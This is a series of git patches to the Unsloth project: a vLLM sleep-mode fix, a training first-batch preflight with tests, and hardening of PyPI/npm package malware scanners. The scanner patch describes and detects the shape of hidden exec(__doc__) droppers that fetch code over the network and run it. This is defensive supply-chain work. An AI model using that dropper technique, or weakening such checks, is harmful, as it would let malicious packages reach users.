check_sleep_mode uses, and fall back to the standby env var (!= '0', matching
load_vllm/patch_vllm) only when the engine cannot be introspected.

Pairs with unslothai/unsloth-zoo#768.
---
 unsloth/models/rl.py | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/unsloth/models/rl.py b/unsloth/models/rl.py
index 5fb8cf6ddc..c3237b6481 100644
--- a/unsloth/models/rl.py
+++ b/unsloth/models/rl.py
@@ -1901,10 +1901,14 @@ def patch_functions(RLTrainer, trainer_file, RLTrainer_name, all_imports, import
                 # If model has vllm_engine, then use vllm in colocate mode. Donot wait for server
                 vllm_setter += " " * 12 + "args.vllm_mode='colocate'\n"
                 if trl_version >= Version("0.23.0"):
-                    # We need to set this flag for sleep mode auto working with trl update
+                    # Align TRL sleep mode with the engine's actual enable_sleep_mode
+                    # (the vision standby gate may have disabled it); fall back to the
+                    # standby env var when the engine cannot be introspected.
                     vllm_setter += (
                         " " * 12
-                        + "if os.environ.get('UNSLOTH_VLLM_STANDBY', '0') == '1':\n"
+                        + "_unsloth_esm = getattr(getattr(getattr(getattr(model.vllm_engine, 'llm_engine', None), 'vllm_config', None), 'model_config', None), 'enable_sleep_mode', None)\n"
+                        + " " * 12
+                        + "if (_unsloth_esm if _unsloth_esm is not None else os.environ.get('UNSLOTH_VLLM_STANDBY', '0') != '0'):\n"
                         + " " * 16
                         + "args.vllm_enable_sleep_mode=True\n"
                     )

From 48a3a78703b30db81bd3c2310c5892662ba863c1 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Thu, 18 Jun 2026 06:36:33 -0700
Subject: [PATCH 74/91] Studio: fail fast on an invalid first training batch
 (base VLM empty chat template) (#6358)

* Studio: fail fast on an invalid first training batch

Training a base vision-language model (e.g. Qwen/Qwen2-VL-7B or
unsloth/Qwen2-VL-7B) on a conversational image dataset crashed on the first
step with 'Expected ... Long, Int; but got torch.cuda.FloatTensor (embedding)'.
Root cause: the base model's chat template is a flat, media-only template that
renders to an empty string for role-based messages, so UnslothVisionDataCollator
hands the processor empty text, the processor returns empty input_ids, torch
defaults the empty tensor to float32, and the embedding lookup rejects it.

Add a preflight that runs one real batch through the trainer's own tokenization
and collation right before train(), and stops the run with an actionable message
when input_ids is empty or non-integer (pointing to the instruction-tuned variant
for the base-model case). Faithful across text, vision and audio-VLM paths, and
never blocks a run whose first batch is valid.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Trim comments in the training preflight

* Stub unsloth/trl in preflight test so backend CI collection passes

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/core/training/trainer.py       |  75 +++++++
 .../backend/tests/test_training_preflight.py  | 188 ++++++++++++++++++
 2 files changed, 263 insertions(+)
 create mode 100644 studio/backend/tests/test_training_preflight.py

diff --git a/studio/backend/core/training/trainer.py b/studio/backend/core/training/trainer.py
index 8fd2dfdfd8..0c14061be6 100644
--- a/studio/backend/core/training/trainer.py
+++ b/studio/backend/core/training/trainer.py
@@ -2781,6 +2781,74 @@ class UnslothTrainer:
             logger.error(f"Failed to start training thread: {e}")
             return False
 
+    def _chat_template_renders_empty(self) -> bool:
+        """True when the chat template renders a sample to empty text (base-model signature)."""
+        try:
+            ds = getattr(self.trainer, "train_dataset", None)
+            if ds is None or len(ds) == 0:
+                return False
+            row = ds[0]
+            messages = row.get("messages") if isinstance(row, dict) else None
+            if not messages:
+                return False
+            tok = self.tokenizer
+            if not hasattr(tok, "apply_chat_template"):
+                return False
+            rendered = tok.apply_chat_template(
+                messages, tokenize = False, add_generation_prompt = False
+            )
+            return not (isinstance(rendered, str) and rendered.strip())
+        except Exception:
+            return False
+
+    def _preflight_first_batch(self) -> Optional[str]:
+        """Validate the first real batch before train(). A base model whose chat
+        template renders empty yields empty float32 input_ids that crash the
+        embedding on step 1; catch it here. Returns None for a valid batch."""
+        try:
+            loader = self.trainer.get_train_dataloader()
+            batch = next(iter(loader))
+        except StopIteration:
+            return None
+        except Exception as e:
+            model = self.model_name or "this model"
+            return (
+                f"Cannot start training: failed to build the first training batch "
+                f"for '{model}': {e}"
+            )
+
+        try:
+            input_ids = batch["input_ids"] if "input_ids" in batch else None
+        except Exception:
+            input_ids = getattr(batch, "input_ids", None)
+        if input_ids is None:
+            return None  # some collators omit input_ids
+
+        seq_len = input_ids.shape[-1] if input_ids.ndim > 0 else 0
+        if not (input_ids.is_floating_point() or input_ids.numel() == 0 or seq_len == 0):
+            return None
+
+        model = self.model_name or "this model"
+        if self._chat_template_renders_empty():
+            low = model.lower()
+            suffix = (
+                f" such as '{model}-Instruct'"
+                if not any(t in low for t in ("instruct", "chat", "-it", "_it"))
+                else ""
+            )
+            return (
+                f"Cannot start training: the chat template for '{model}' produced "
+                f"no text for your dataset, so the first batch had empty token IDs. "
+                f"'{model}' looks like a base (pretrained) model without a chat "
+                f"template suited to conversational fine-tuning. Use the "
+                f"instruction-tuned variant{suffix} or provide a chat template."
+            )
+        return (
+            f"Cannot start training: the first batch produced invalid token IDs "
+            f"(dtype={input_ids.dtype}, length={seq_len}). Check that your dataset "
+            f"columns are mapped correctly for '{model}'."
+        )
+
     def _train_worker(self, dataset: Dataset, **training_args):
         """Worker function for training (runs in separate thread)"""
         try:
@@ -3474,6 +3542,13 @@ class UnslothTrainer:
                 training_args.get("max_steps", 0),
             )
             # ========== START TRAINING ==========
+            # Fail fast on an invalid first batch (empty/float input_ids) vs a step-1 crash.
+            preflight_error = self._preflight_first_batch()
+            if preflight_error:
+                logger.error(preflight_error)
+                self._update_progress(error = preflight_error, is_training = False)
+                return
+
             self._update_progress(total_steps = total_steps, status_message = "Starting training...")
             logger.info("Starting training...\n")
             self.trainer.train(resume_from_checkpoint = training_args.get("resume_from_checkpoint"))
diff --git a/studio/backend/tests/test_training_preflight.py b/studio/backend/tests/test_training_preflight.py
new file mode 100644
index 0000000000..54048a65dd
--- /dev/null
+++ b/studio/backend/tests/test_training_preflight.py
@@ -0,0 +1,188 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""_preflight_first_batch rejects an empty/non-integer first batch (the base-model
+empty-chat-template crash) before train(). The real methods are bound onto a light
+fake self so the production logic runs against controlled batches."""
+
+import importlib
+import sys
+import types
+import unittest
+from types import SimpleNamespace
+from unittest.mock import MagicMock
+
+import torch
+
+
+def _stub_if_missing(name, attrs):
+    """Register a stub module for a dep the CPU backend CI job does not install.
+
+    The pytest job has studio.txt + torch + transformers but not unsloth/trl,
+    which core.training.trainer imports at module scope. Stub the absent ones
+    (real installs are left alone) so importing it for the two pure helper
+    methods never breaks test collection. __spec__ = None keeps the trainer's
+    own _ensure_real_packages namespace-shadow guard a no-op on the stub.
+    """
+    if name in sys.modules:
+        return
+    try:
+        importlib.import_module(name)
+        return
+    except Exception:
+        pass
+    mod = types.ModuleType(name)
+    mod.__spec__ = None
+    for attr in attrs:
+        setattr(mod, attr, MagicMock())
+    sys.modules[name] = mod
+    parent, _, child = name.rpartition(".")
+    if parent and parent in sys.modules:
+        setattr(sys.modules[parent], child, mod)
+
+
+_stub_if_missing("unsloth", ("FastLanguageModel", "FastVisionModel", "is_bfloat16_supported"))
+_stub_if_missing("unsloth.chat_templates", ("get_chat_template",))
+_stub_if_missing("trl", ("SFTTrainer", "SFTConfig"))
+
+from core.training.trainer import UnslothTrainer  # noqa: E402
+
+_preflight = UnslothTrainer._preflight_first_batch
+_renders_empty = UnslothTrainer._chat_template_renders_empty
+
+
+class _FakeInnerTrainer:
+    def __init__(
+        self,
+        *,
+        batch = None,
+        dataloader_error = None,
+        train_dataset = None,
+    ):
+        self._batch = batch
+        self._dataloader_error = dataloader_error
+        self.train_dataset = train_dataset
+
+    def get_train_dataloader(self):
+        if self._dataloader_error is not None:
+            raise self._dataloader_error
+        return [self._batch]
+
+
+def _fake_self(
+    *,
+    inner,
+    model_name = "org/Some-Model",
+    tokenizer = None,
+):
+    s = SimpleNamespace(trainer = inner, model_name = model_name, tokenizer = tokenizer)
+    # Bind real methods so self._chat_template_renders_empty() resolves.
+    s._preflight_first_batch = _preflight.__get__(s)
+    s._chat_template_renders_empty = _renders_empty.__get__(s)
+    return s
+
+
+class _EmptyTemplateTokenizer:
+    def apply_chat_template(
+        self,
+        messages,
+        tokenize = False,
+        add_generation_prompt = False,
+    ):
+        return ""
+
+
+class _RealTemplateTokenizer:
+    def apply_chat_template(
+        self,
+        messages,
+        tokenize = False,
+        add_generation_prompt = False,
+    ):
+        return "<|im_start|>user\nhi<|im_end|>"
+
+
+class TestPreflightFirstBatch(unittest.TestCase):
+    def test_float_input_ids_with_empty_template_suggests_instruct(self):
+        ds = [{"messages": [{"role": "user", "content": [{"type": "text", "text": "x"}]}]}]
+        inner = _FakeInnerTrainer(
+            batch = {"input_ids": torch.zeros((1, 0), dtype = torch.float32)},
+            train_dataset = ds,
+        )
+        s = _fake_self(
+            inner = inner, model_name = "Qwen/Qwen2-VL-7B", tokenizer = _EmptyTemplateTokenizer()
+        )
+        msg = s._preflight_first_batch()
+        self.assertIsNotNone(msg)
+        self.assertIn("chat template", msg)
+        self.assertIn("Qwen/Qwen2-VL-7B-Instruct", msg)
+        self.assertIn("base (pretrained) model", msg)
+
+    def test_no_instruct_hint_when_model_already_instruct(self):
+        ds = [{"messages": [{"role": "user", "content": [{"type": "text", "text": "x"}]}]}]
+        inner = _FakeInnerTrainer(
+            batch = {"input_ids": torch.zeros((1, 0), dtype = torch.float32)},
+            train_dataset = ds,
+        )
+        s = _fake_self(
+            inner = inner, model_name = "org/Foo-Instruct", tokenizer = _EmptyTemplateTokenizer()
+        )
+        msg = s._preflight_first_batch()
+        self.assertIsNotNone(msg)
+        self.assertNotIn("such as", msg)  # no Instruct suggestion for an Instruct model
+        self.assertIn("instruction-tuned variant", msg)
+
+    def test_empty_int_input_ids_generic_message(self):
+        inner = _FakeInnerTrainer(
+            batch = {"input_ids": torch.zeros((1, 0), dtype = torch.long)},
+            train_dataset = [{"text": "already tokenized path"}],
+        )
+        s = _fake_self(inner = inner, tokenizer = _RealTemplateTokenizer())
+        msg = s._preflight_first_batch()
+        self.assertIsNotNone(msg)
+        self.assertIn("invalid token IDs", msg)
+        self.assertNotIn("chat template", msg)
+
+    def test_valid_batch_returns_none(self):
+        inner = _FakeInnerTrainer(
+            batch = {"input_ids": torch.randint(0, 1000, (2, 34), dtype = torch.long)},
+        )
+        s = _fake_self(inner = inner)
+        self.assertIsNone(s._preflight_first_batch())
+
+    def test_dataloader_error_is_surfaced(self):
+        inner = _FakeInnerTrainer(dataloader_error = RuntimeError("boom"))
+        s = _fake_self(inner = inner, model_name = "org/M")
+        msg = s._preflight_first_batch()
+        self.assertIsNotNone(msg)
+        self.assertIn("failed to build the first training batch", msg)
+        self.assertIn("org/M", msg)
+
+    def test_missing_input_ids_does_not_false_positive(self):
+        inner = _FakeInnerTrainer(batch = {"pixel_values": torch.zeros((1, 3))})
+        s = _fake_self(inner = inner)
+        self.assertIsNone(s._preflight_first_batch())
+
+
+class TestChatTemplateRendersEmpty(unittest.TestCase):
+    def _self(self, *, train_dataset, tokenizer):
+        inner = _FakeInnerTrainer(train_dataset = train_dataset)
+        return _fake_self(inner = inner, tokenizer = tokenizer)
+
+    def test_empty_render_detected(self):
+        ds = [{"messages": [{"role": "user", "content": [{"type": "text", "text": "x"}]}]}]
+        s = self._self(train_dataset = ds, tokenizer = _EmptyTemplateTokenizer())
+        self.assertTrue(s._chat_template_renders_empty())
+
+    def test_nonempty_render_not_flagged(self):
+        ds = [{"messages": [{"role": "user", "content": [{"type": "text", "text": "x"}]}]}]
+        s = self._self(train_dataset = ds, tokenizer = _RealTemplateTokenizer())
+        self.assertFalse(s._chat_template_renders_empty())
+
+    def test_no_messages_key_not_flagged(self):
+        s = self._self(train_dataset = [{"text": "raw"}], tokenizer = _EmptyTemplateTokenizer())
+        self.assertFalse(s._chat_template_renders_empty())
+
+
+if __name__ == "__main__":
+    unittest.main()

From 07c7f9bfca25d783f8d4abe4da9b6c00cde156f5 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Thu, 18 Jun 2026 06:50:16 -0700
Subject: [PATCH 75/91] Package scanners: close fail-open gaps in the sdist
 fallback and hidden-payload paths (#6359)

* Package scanners: close fail-open gaps in the sdist fallback and hidden-payload paths

Follow-up hardening on the now-blocking scanners so the enforcing gate cannot
report clean while a malicious artifact goes unscanned.

scan_packages.py
- Hidden payload: also flag a network call AND an os/subprocess exec that live
  only in a blanked docstring/string of an exec/eval file (the fetch-then-run
  shape of an exec(__doc__) dropper). Either alone in real code was already
  covered; hidden together they are the payload.
- Pinned releases fail closed: _release_files no longer falls back to the latest
  artifact when a pinned version is missing or empty, so a yanked/bad pin is an
  error instead of a different file being scanned in its place.
- requires_dist is read from the pinned release's metadata, not the project-level
  (latest) document, so a sdist-only pin follows its own dependency tree.
- Environment markers are evaluated (PEP 508) instead of dropping any marker that
  merely contains the word extra, so default-true markers like extra != 'dev' are
  kept; conservative fallback keeps a dep on any uncertainty.
- Transitive recovery is a depth-bounded worklist: a wheel dependency whose own
  child is sdist-only is fetched (--no-deps) and scanned, then its children are
  recovered in turn, rather than being silently skipped.

scan_npm_packages.py
- Baseline keys use the package-relative path instead of the basename, so the
  same basename in a different directory is not over-suppressed.

Tests cover each case; full scripts pass AST and ruff checks.

* Address review: tighten marker scope, decoy-proof the dropper check, fail closed on missing pin metadata

- Markers: keep any dep whose marker can hold on another install target
  (sys_platform == 'win32', python_version == '3.13'); only drop a marker that
  depends solely on extra and is false with no extra. A scanner runs on one
  target but must cover code installed on others. Pure-extra markers are
  evaluated against default_environment() with extra unset.
- Hidden dropper: the network+exec docstring check now inspects the removed
  (blanked) span directly, so a benign visible network or subprocess call cannot
  mask a payload that still lives in a docstring. Carrier checks stay
  blanked-only (an in-code carrier is already caught by the normal check), so
  corpus findings are unchanged.
- requires_dist: a pinned version whose own metadata cannot be fetched recovers
  nothing rather than substituting the latest release's dependency tree.
- Transitive recovery: the last-ditch direct-sdist branch also chases the
  recovered package's declared deps, matching the other branches.
- npm baseline: schema bumped to v2 (package-relative keys); a pre-v2 baseline
  with entries is ignored (fail closed) instead of mis-applying basename keys.

Tests cover each case; scripts pass AST, ruff, and the import-hoist verifier.

* Scanner: exclude comments from hidden-payload check, flag missing pin metadata as incomplete

Hidden network+exec detection now inspects only docstring/string spans (what exec(__doc__)/exec(<str>) can actually run), so a real exec() beside comments that mention a network and a subprocess call no longer false-positives. Missing pinned-release metadata in transitive recovery records a download_error so the --with-deps path fails closed instead of treating it as no dependencies. Adds regression tests for both.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 scripts/scan_npm_packages.py             |  44 ++++--
 scripts/scan_npm_packages_baseline.json  |   4 +-
 scripts/scan_packages.py                 | 189 +++++++++++++++++++----
 tests/security/test_scan_npm_packages.py |  51 ++++--
 tests/security/test_scan_packages.py     | 147 +++++++++++++++++-
 5 files changed, 380 insertions(+), 55 deletions(-)

diff --git a/scripts/scan_npm_packages.py b/scripts/scan_npm_packages.py
index c1639ab38e..c1d156d40a 100644
--- a/scripts/scan_npm_packages.py
+++ b/scripts/scan_npm_packages.py
@@ -1445,7 +1445,7 @@ def scan_one(pkg: PackageEntry, workspace: Path) -> tuple[list[Finding], str | N
 # ─────────────────────────────────────────────────────────────────────
 # Baseline allowlist: triaged known-good HIGH/CRITICAL findings so the gate
 # can enforce without red-failing on rare legitimate-library behavior.
-# Matched on ``(normalized package, basename(filename), pattern)`` -- not
+# Matched on ``(normalized package, package-relative path, pattern)`` -- not
 # evidence text -- so a version bump does not reopen a finding, but a *new*
 # kind of finding in a listed file is a different pattern and still fails.
 # Mirrors scan_packages.py. Regenerate with ``--write-baseline``.
@@ -1453,6 +1453,12 @@ def scan_one(pkg: PackageEntry, workspace: Path) -> tuple[list[Finding], str | N
 
 _DEFAULT_BASELINE_PATH = str(Path(__file__).resolve().parent / "scan_npm_packages_baseline.json")
 
+# Bumped when the entry-key semantics change. v2 keys on the package-relative
+# path; v1 stored only a basename, so a v1 entry could suppress a same-named file
+# in a different directory. A pre-v2 baseline with entries is ignored (fail
+# closed) rather than mis-applied.
+_BASELINE_SCHEMA_VERSION = 2
+
 
 def _norm_pkg_name(display: str) -> str:
     """``@scope/pkg@1.2.3`` / ``pkg@1.2.3`` -> name without the version.
@@ -1468,9 +1474,21 @@ def _norm_pkg_name(display: str) -> str:
     return s.lower()
 
 
+_NPM_TARBALL_ROOT = "package/"
+
+
+def _relpath_in_package(filename: str) -> str:
+    """Path within the published package, stable across version bumps. npm
+    tarballs root every file at ``package/``; strip it so the key is the real
+    source path (``dist/index.js``) and a new file with the same basename in a
+    different directory is not silently suppressed."""
+    f = (filename or "").replace("\\", "/")
+    return f[len(_NPM_TARBALL_ROOT) :] if f.startswith(_NPM_TARBALL_ROOT) else f
+
+
 def _finding_key(f: Finding) -> tuple[str, str, str]:
-    """Stable allowlist key: normalized package, file basename, pattern."""
-    return (_norm_pkg_name(f.package), os.path.basename(f.filename), f.pattern)
+    """Stable allowlist key: normalized package, package-relative path, pattern."""
+    return (_norm_pkg_name(f.package), _relpath_in_package(f.filename), f.pattern)
 
 
 def _load_baseline(path: str) -> set[tuple[str, str, str]]:
@@ -1483,10 +1501,18 @@ def _load_baseline(path: str) -> set[tuple[str, str, str]]:
     except (OSError, json.JSONDecodeError) as exc:
         print(f"  [WARN] could not read baseline {path}: {exc}", file = sys.stderr)
         return set()
+    entries = data.get("entries", [])
+    if entries and data.get("version") != _BASELINE_SCHEMA_VERSION:
+        print(
+            f"  [WARN] baseline schema v{data.get('version')} predates package-relative "
+            f"keys; ignoring {len(entries)} entr(y/ies). Regenerate with --write-baseline.",
+            file = sys.stderr,
+        )
+        return set()
     keys: set[tuple[str, str, str]] = set()
-    for e in data.get("entries", []):
+    for e in entries:
         try:
-            keys.add((_norm_pkg_name(e["package"]), os.path.basename(e["file"]), e["pattern"]))
+            keys.add((_norm_pkg_name(e["package"]), _relpath_in_package(e["file"]), e["pattern"]))
         except (KeyError, TypeError):
             continue
     return keys
@@ -1506,7 +1532,7 @@ def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) ->
         entries.append(
             {
                 "package": _norm_pkg_name(f.package),
-                "file": os.path.basename(f.filename),
+                "file": _relpath_in_package(f.filename),
                 "pattern": f.pattern,
                 "severity": f.severity,
                 "evidence": (f.evidence or f.detail)[:240],
@@ -1516,10 +1542,10 @@ def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) ->
         "_comment": (
             "scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL "
             "finding manually judged benign. Matched on (package, "
-            "basename(file), pattern); evidence/severity are for review only. "
-            "Regenerate with --write-baseline AFTER reviewing every line."
+            "package-relative path, pattern); evidence/severity are for review "
+            "only. Regenerate with --write-baseline AFTER reviewing every line."
         ),
-        "version": 1,
+        "version": _BASELINE_SCHEMA_VERSION,
         "entries": entries,
     }
     with open(path, "w", encoding = "utf-8") as fh:
diff --git a/scripts/scan_npm_packages_baseline.json b/scripts/scan_npm_packages_baseline.json
index 18da8b68c8..61d8e74023 100644
--- a/scripts/scan_npm_packages_baseline.json
+++ b/scripts/scan_npm_packages_baseline.json
@@ -1,5 +1,5 @@
 {
-  "_comment": "scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL finding manually judged benign. Matched on (package, basename(file), pattern); evidence/severity are for review only. Regenerate with --write-baseline AFTER reviewing every line. EMPTY by design: a full scan of studio/frontend/package-lock.json (915 packages) produced 0 findings, so nothing needs suppressing and the CI gate can run enforcing (SCAN_ENFORCE=1) as-is. If a future dependency adds a reviewed-benign HIGH/CRITICAL, add it here rather than weakening a pattern.",
-  "version": 1,
+  "_comment": "scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL finding manually judged benign. Matched on (package, package-relative path, pattern); evidence/severity are for review only. Regenerate with --write-baseline AFTER reviewing every line. EMPTY by design: a full scan of studio/frontend/package-lock.json (915 packages) produced 0 findings, so nothing needs suppressing and the CI gate can run enforcing (SCAN_ENFORCE=1) as-is. If a future dependency adds a reviewed-benign HIGH/CRITICAL, add it here rather than weakening a pattern.",
+  "version": 2,
   "entries": []
 }
diff --git a/scripts/scan_packages.py b/scripts/scan_packages.py
index afa1189864..4be9fc5efb 100644
--- a/scripts/scan_packages.py
+++ b/scripts/scan_packages.py
@@ -534,12 +534,14 @@ def _is_fstring(tok_string: str) -> bool:
     return q > 0 and "f" in tok_string[:q].lower()
 
 
-def _strip_noncode(content: str) -> str:
+def _strip_noncode(content: str, blank_comments: bool = True) -> str:
     """Blank comments and bare docstrings so IOC patterns see code only.
 
     Removed regions become spaces (newlines kept) so line numbers stay exact for
     _extract_evidence. Fails open on tokenizer errors (the raw text is still
-    fully scanned, so a real detection is never lost).
+    fully scanned, so a real detection is never lost). ``blank_comments=False``
+    keeps comments (only strings/docstrings blanked) to isolate the span that
+    exec() could actually run.
     """
     try:
         toks = list(tokenize.generate_tokens(io.StringIO(content).readline))
@@ -552,8 +554,9 @@ def _strip_noncode(content: str) -> str:
     for i, tok in enumerate(toks):
         ttype = tok.type
         if ttype == tokenize.COMMENT:
-            spans.append((*tok.start, *tok.end))
-            continue  # do not advance prev_significant; comments are transparent
+            if blank_comments:
+                spans.append((*tok.start, *tok.end))
+            continue  # transparent; never advances prev_significant
         if (
             ttype == tokenize.STRING
             and prev_significant in _LINE_START_TOKENS
@@ -619,18 +622,44 @@ def _hidden_payload_findings(
     scanning yet ``exec(__doc__)`` / ``exec(<str>)`` could still run it."""
     if not RE_EXEC_EVAL.search(stripped):
         return []
+    # Only docstrings/strings run via exec(__doc__)/exec(<str>); comments cannot.
+    # Isolate that span: keep comments as real code, take what string-blanking
+    # removed (length-preserved, so offsets stay exact for _extract_evidence).
+    code = _strip_noncode(original, blank_comments = False)
+    removed = "".join(o if o != s else " " for o, s in zip(original, code))
     out = []
+
+    def _hidden(pat):
+        # Carrier present in a blanked region but NOT in real code. A carrier in
+        # real code is already caught by the normal check, so restricting to
+        # blanked-only avoids re-flagging legitimate in-code constants.
+        return bool(pat.search(removed)) and not pat.search(stripped)
+
     for pat, label in _HIDDEN_PAYLOAD_PATTERNS:
-        if pat.search(original) and not pat.search(stripped):
+        if _hidden(pat):
             out.append(
                 Finding(
                     HIGH,
                     package,
                     filename,
                     "exec/eval with payload hidden in a docstring/string",
-                    f"{label}: {_extract_evidence(original, pat)}",
+                    f"{label}: {_extract_evidence(removed, pat)}",
                 )
             )
+    # Fetch-then-run dropper: a network call AND an os/subprocess exec that both
+    # live in the blanked region. Search the removed span directly (not "absent
+    # from real code") so a benign visible network/subprocess call cannot mask
+    # the docstring payload.
+    if RE_NETWORK.search(removed) and RE_SUBPROCESS.search(removed):
+        out.append(
+            Finding(
+                HIGH,
+                package,
+                filename,
+                "exec/eval with hidden network+exec payload",
+                f"network+exec: {_extract_evidence(removed, RE_SUBPROCESS)}",
+            )
+        )
     return out
 
 
@@ -1560,6 +1589,9 @@ _RE_PKG_NAME_SANITIZE = re.compile(r"[^A-Za-z0-9._-]")
 # no build, same no-exec guarantee. Transport failures are still exit 2; only
 # "no wheel" is downgraded to a direct fetch.
 
+# How many levels of indirect-dep recovery to chase (a wheel dep whose own child
+# is sdist-only, and so on). Bounded with dedup so recovery always terminates.
+_MAX_DEP_FOLLOWUP_DEPTH = 2
 _SDIST_DOWNLOAD_TIMEOUT = 180
 # Never fetch an archive larger than we would be willing to scan (iter_archive_files cap).
 _MAX_SDIST_BYTES = HARD_MAX_TOTAL_BYTES
@@ -1573,9 +1605,14 @@ def _spec_pin_version(spec: str) -> str | None:
     return m.group(1) if m else None
 
 
-def _pypi_json(name: str) -> dict | None:
-    """Fetch a project's PyPI metadata JSON (read-only HTTPS GET, no exec); None on error."""
-    url = "https://pypi.org/pypi/" + urllib.parse.quote(name, safe = "") + "/json"
+def _pypi_json(name: str, version: str | None = None) -> dict | None:
+    """Fetch PyPI metadata JSON (read-only HTTPS GET, no exec); None on error.
+    With ``version`` it fetches that release's document, whose ``requires_dist``
+    is accurate for the pin (the project-level doc describes only the latest)."""
+    url = "https://pypi.org/pypi/" + urllib.parse.quote(name, safe = "")
+    if version:
+        url += "/" + urllib.parse.quote(version, safe = "")
+    url += "/json"
     try:
         req = urllib.request.Request(url, headers = {"Accept": "application/json"})
         with urllib.request.urlopen(req, timeout = 30) as resp:
@@ -1588,11 +1625,11 @@ def _pypi_json(name: str) -> dict | None:
 
 
 def _release_files(meta: dict, version: str | None) -> list[dict]:
-    """Distribution files for a specific version, or the latest release's files."""
-    if version:
-        files = meta.get("releases", {}).get(version)
-        if files:
-            return files
+    """Files for a pinned version, else the latest release's. A pin that is
+    absent or empty returns [] (never the latest) so a yanked/bad pin fails
+    closed instead of a different artifact being scanned in its place."""
+    if version is not None:
+        return meta.get("releases", {}).get(version) or []
     return meta.get("urls", []) or []
 
 
@@ -1610,10 +1647,50 @@ def _is_trusted_pypi_url(url: str) -> bool:
     return parsed.scheme == "https" and parsed.hostname in _TRUSTED_PYPI_HOSTS
 
 
-def _requires_dist_names(meta: dict, version: str | None) -> list[str]:
+_MARKER_ENV_VARS = (
+    "sys_platform",
+    "platform_system",
+    "platform_machine",
+    "platform_release",
+    "platform_version",
+    "platform_python_implementation",
+    "os_name",
+    "python_version",
+    "python_full_version",
+    "implementation_name",
+    "implementation_version",
+)
+
+
+def _marker_holds_by_default(marker: str) -> bool:
+    """Keep (scan) a dep unless its marker is purely ``extra``-gated. The scanner
+    runs on one OS/Python but a package may be installed on another, so a marker
+    that can be true on a different target (``sys_platform == 'win32'``,
+    ``python_version == '3.13'``) is always kept; only a marker depending solely
+    on ``extra`` and false with no extra requested is dropped. Conservative: on
+    any uncertainty, keep (over-scan, never silently skip)."""
+    m = marker.strip()
+    if not m or "extra" not in m:
+        return True  # no extra gate: installed by default on some target -> scan
+    if any(v in m for v in _MARKER_ENV_VARS):
+        return True  # also platform/python gated: true on some target -> scan
+    # Pure extra marker: decide by evaluating with no extra requested.
+    try:
+        from packaging.markers import Marker, default_environment
+
+        env = default_environment()
+        env["extra"] = ""
+        return bool(Marker(m).evaluate(env))
+    except Exception:
+        # packaging missing/unparseable: drop only a pure positive extra-equality.
+        return re.fullmatch(r"\s*extra\s*==\s*['\"][^'\"]+['\"]\s*", m) is None
+
+
+def _requires_dist_names(meta: dict) -> list[str]:
     """Transitive dep specs (name + version specifier) from metadata, to recover
     a sdist-only package's tree. The specifier is kept so a pinned malicious
-    version is fetched, not latest. Skips ``extra``-gated deps."""
+    version is fetched, not latest. Drops deps whose marker cannot hold for a
+    default install."""
     info = meta.get("info", {}) or {}
     reqs = info.get("requires_dist") or []
     specs: list[str] = []
@@ -1623,8 +1700,8 @@ def _requires_dist_names(meta: dict, version: str | None) -> list[str]:
         head = r
         if ";" in r:
             head, marker = r.split(";", 1)
-            if "extra" in marker:
-                continue  # optional extra; default install would not pull it
+            if not _marker_holds_by_default(marker):
+                continue
         if not _RE_NAME.match(head.strip()):
             continue
         # "torch (>=1.10)" / "torch >=1.10" -> "torch>=1.10" (pip-friendly).
@@ -1632,6 +1709,30 @@ def _requires_dist_names(meta: dict, version: str | None) -> list[str]:
     return specs
 
 
+def _requires_dist_for(
+    name: str,
+    version: str | None,
+    project_meta: dict,
+    errors: list[str] | None = None,
+) -> list[str]:
+    """Declared deps for the pinned version, read from that release's metadata
+    (its ``requires_dist`` can differ from latest). Unpinned uses the
+    project-level (latest) document. A pinned version whose own metadata cannot
+    be fetched returns [] (never latest's deps) and, when ``errors`` is given,
+    records an incomplete-scan error so a partial tree is not read as "no deps"."""
+    if not version:
+        return _requires_dist_names(project_meta)
+    vmeta = _pypi_json(name, version)
+    if vmeta is None:
+        msg = f"metadata fetch failed for pinned {name}=={version}; dependency scan incomplete"
+        if errors is None:
+            print(f"  [WARN] {msg}", file = sys.stderr)
+        else:
+            errors.append(msg)
+        return []
+    return _requires_dist_names(vmeta)
+
+
 def _download_sdist_direct(
     name: str,
     version: str | None,
@@ -1751,7 +1852,7 @@ def _resolve_per_spec_with_deps(
             if fpath is None:
                 download_errors.append(serr or f"sdist fetch failed for {name}")
                 continue
-            sdist_dep_followups.extend(_requires_dist_names(meta, version))
+            sdist_dep_followups.extend(_requires_dist_for(name, version, meta, download_errors))
             continue
         # Has a wheel but the full transitive tree won't co-resolve
         # (ResolutionImpossible) -- typically a package the requirement file
@@ -1785,7 +1886,7 @@ def _resolve_per_spec_with_deps(
             # which --no-deps skips. Recover the declared deps so that class is
             # still scanned (each is fetched as a wheel or direct sdist below).
             if meta is not None:
-                sdist_dep_followups.extend(_requires_dist_names(meta, version))
+                sdist_dep_followups.extend(_requires_dist_for(name, version, meta, download_errors))
             continue
         # --no-deps also failed: last-ditch sdist fetch at the pinned version.
         if meta is not None:
@@ -1796,15 +1897,21 @@ def _resolve_per_spec_with_deps(
             f"per-spec failed for {spec} (with-deps and --no-deps): " f"{nd.stderr.strip()[:240]}"
         )
 
-    # Recover the transitive deps of sdist-only packages (deduped, one level).
-    # `dep` carries the declared version specifier so a pinned version is fetched.
+    # Recover the transitive deps of sdist-only packages. A depth-bounded,
+    # deduped worklist so a wheel dep whose own child is sdist-only is itself
+    # fetched (--no-deps) and scanned -- not silently dropped -- and that child
+    # is then recovered in turn. `dep` carries the version specifier so a pinned
+    # version is fetched.
     seen: set[str] = set()
